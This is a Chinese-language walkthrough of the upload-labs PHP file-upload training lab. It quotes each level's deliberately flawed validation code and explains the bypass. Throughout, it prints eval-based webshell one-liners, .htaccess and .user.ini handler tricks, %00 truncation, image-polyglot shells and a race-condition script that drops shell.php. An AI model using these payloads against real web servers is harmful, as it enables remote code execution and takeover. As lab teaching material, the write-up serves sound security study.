Upload-labs通关WriteUp

之前总觉得做文件上传的题目有点迷糊,今天刚好有时间,就把upload-labs通一遍吧,顺便把源码也看看,系统学习一下

搭建upload-labs环境

下载链接:upload-labs

通关WriteUp

Pass-01(前端验证)

常用一句话木马:

<?php @eval($_POST['normal']);?>

将此一句话木马写入normal.php文件
修改后缀名为.png(其他图片格式也可)后上传
抓包改回后缀名.php即可蚁剑连接

附上题目源码:

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

Pass-02(MIME验证)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

从源码可以看到本pass在服务端对数据包的MIME进行检查
所以上传一句话木马时要抓包修改MIME为:

Content-Type: image/png

即可成功上传

Pass-03(黑名单验证,特殊后缀)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

本Pass不允许上传.asp,.aspx,.php,.jsp后缀文件
可以使用.php3.php5.phtml等等绕过

注意:要在apache的httpd.conf中有如下配置代码:AddType application/x-httpd-php .php .phtml .phps .php5 .pht,如果不配置他是无法解析php5代码的

Pass-04(黑名单验证,.htaccess)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这个Pass过滤的就比较完全了,但是可以使用.htaccess绕过,其内容如下:

<FilesMatch "\.png$">
    SetHandler application/x-httpd-php
</FilesMatch>

接着传入一句话木马文件normal.png即可连接蚁剑

关于.htaccess在文件上传中的利用,可参考:.htaccess有关技巧

注意:使用.htaccess文件的前提是httpd.conf文件中AllowOverride All

<Directory />
Options +Indexes +FollowSymLinks +ExecCGI
AllowOverride All
Order allow,deny
Allow from all
Require all granted
</Directory>

php如果是nts版本无法成功(所以phpstudy不行),需要自己安装Apache

Pass-05(黑名单验证,.user.ini.)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

源码里把所有可以解析的后缀名都给写死了,包括大小写,转换,空格,还有点号,正常的php类文件上传不了了,并且拒绝上传 .htaccess 文件。

但是,有提示:上传目录存在php文件(readme.php),并且没有过滤.ini

那么可以利用.user.ini过滤

php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。

但是想要引发 .user.ini 解析漏洞需要三个前提条件

  • 服务器脚本语言为PHP
  • 服务器使用CGI/FastCGI模式
  • 上传目录下要有可执行的php文件

创建一个.user.ini文件并把它上传

auto_prepend_file=normal.png

.user.ini文件里的意思是:所有的php文件都自动包含normal.png文件。
.user.ini相当于一个用户自定义的php.ini

接着正常上传normal.png文件

<?php @eval($_POST['normal']); ?>

根据有关.user.ini的知识,这里要等待300秒重新读取用户 INI 文件(也可以直接进去修改php-ini配置文件)

user.ini
自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用.htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIRPHP_INI_USER 模式的 INI设置可被识别。
两个新的 INI 指令,user_ini.filenameuser_ini.cache_ttl 控制着用户 INI 文件的使用。
user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是.user.ini
user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。

最终利用原有的PHP文件连接蚁剑即可

Pass-06(黑名单验证,大小写绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这个Pass过滤了.htaccess.ini,但是没有strtolower(),所以可以使用大小写绕过

于是将PHP文件后缀名改为.PHP即可

Pass-07(黑名单验证,空格绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

没有使用trim()去除空格,可以使用空格绕过黑名单
于是就可以抓包改后缀名为.php (注意这里php后有空格)

Pass-08(黑名单验证,点号绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

没有使用deldot()过滤文件名末尾的,可以使用文件名后加.进行绕过
于是就可以抓包改后缀名为.php.

Pass-09(黑名单验证,特殊字符::$DATA绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

没有对::DATA 进行处理,可以使用::DATA绕过黑名单
于是抓包改后缀.php::$DATA

php在window的时候如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名他的目的就是不检查后缀名。
我们也可以利用这种方法绕过一些白名单过滤例如.php::DATA.png

Pass-10(黑名单验证,点空格绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这个Pass的只对文件名进行$file_name = deldot($file_name);去除文件名末尾的点

deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来

根据这个特性,可以利用点空格点绕过
即抓包改后缀名为.php. .

Pass-11(黑名单验证,双写绕过)

is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这个Pass使用str_ireplace()函数寻找文件名中存在的黑名单字符串,将它替换成空(即将它删掉),可以使用双写绕过黑名单

str_ireplace(find,replace,string,count) 函数替换字符串中的一些字符(不区分大小写)

于是抓包改后缀名为.pphphp

Pass-12(get %00截断)

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

这个Pass是白名单,最终文件的存放位置是以拼接的方式$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
可以使用%00截断,但需要php版本 < 5.3.4,并且magic_quotes_gpc关闭。

抓包修改参数?save_path=../upload/normal.php%00
并且修改文件名normal.png

最后蚁剑链接/upload/normal.png即可

%00截断的原理

php的一些函数的底层是C语言,而move_uploaded_file()就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00

strrpos(string,find[,start]) 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。
substr(string,start[,length])函数返回字符串的一部分(从start开始 [,长度为length])
magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤

Pass-13(post %00截断)

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

这个Pass和上一个的差别在于$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;中用的POST方法
而POST不会对里面的数据自动解码,需要在Hex中修改。

首先抓包,内容如下

接着,在../upload/ 路径下加上normal.php+,+号是为了方便后面修改Hex

然后,在Hex中修改,+号的Hex是2b,这里我们要把它改为00

改前为:

改后为:

最后放包,蚁剑连接normal.php

Pass-14(图片马之unpack)

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

这一关会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件
使用 图片马 结合 文件包含 绕过

可以参考文章:图片马的制作之二次渲染

先找一张不宜过大的正常png图片:base.png
cmd执行命令copy base.jpg/b + phpinfo.php/a = info.jpg以生成图片马,其中phpinfo.php内容为:<?php phpinfo(); ?>

上传图片马

点击文件包含漏洞链接可进入如下界面,

接着/upload-labs-master/include.php?file=upload/<传入文件名>.jpg即可发现显示了phpinfo,成功

Pass-15(图片马之getimagesize)

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

通过使用getimagesize()检查是否为图片文件
还可以用Pass-14的图片马绕过,并使用文件包含漏洞解析图片马
具体操作同上

Pass-16(图片马之exif_imagetype)

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage()快得多。
需要开启php_exif模块。
还可以用Pass-14的图片马绕过,并使用文件包含漏洞解析图片马
具体操作同上

Pass-17(二次渲染绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

这一关对上传图片进行了判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染

制作图片马时需要找到渲染前后的图片里面没有发生变化的Hex地方,
在原图片对应位置添加一句话木马,
然后接下来的步骤同Pass-14

对于做文件上传之二次渲染建议用GIF图片,因为其在二次渲染过程中不易损坏、变化较小,所以相对简单一点

可以参考文章:图片马的制作之二次渲染
这里提供一张好用的GIF图片:https://wwe.lanzoui.com/iFSwwn53jaf

Pass-18(条件竞争一)

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。

所以我们依然可以正常上传图片马,但是却没了文件包含漏洞
倘若上传php文件或者.htaccess文件又会被删除

那我们只能利用条件竞争:因为代码执行的过程是需要耗费时间的,如果我们能在上传的一句话木马被删除之前访问,那么就可以绕过

我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。

为了更好的演示效果,把一句话木马换一下改为:

//putshell.php

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>

把这个php文件通过burp一直不停的重放,然后再写python脚本去不停的访问我们上传的这个文件,总会有那么一瞬间是还没来得及删除就可以被访问到的,一旦访问到该文件就会在当前目录下生成一个shell.php的一句话木马,然后就可以利用蚁剑连接这个木马了

首先利用burp suite的Intruder无限发送上传上述木马文件的请求包,建议把线程设置高一点

然后我们写一个python脚本,通过它来不停的访问我们上传上去的PHP文件(putshell.php)

import requests
url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/putshell.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

接着同时进行BP的重放和运行Python脚本,直到返回OK(说明成功在文件被删除之前访问到了木马文件),那么此时一句话木马shell.php也应该成功创建,蚁剑连接即可

Pass-19(条件竞争二)

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){

    $ret = $this->isUploadedFile();

    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // if flag to check if the file exists is set to 1

    if( $this->cls_file_exists == 1 ){

      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );

  }
......
......
...... 
};

某种原因导致上传的图片路径不是放在upload文件夹下,所以我们要进去修改一下第19关的代码文件
要将myupload.php文件中103行改为$this->cls_upload_dir = $dir.'/';

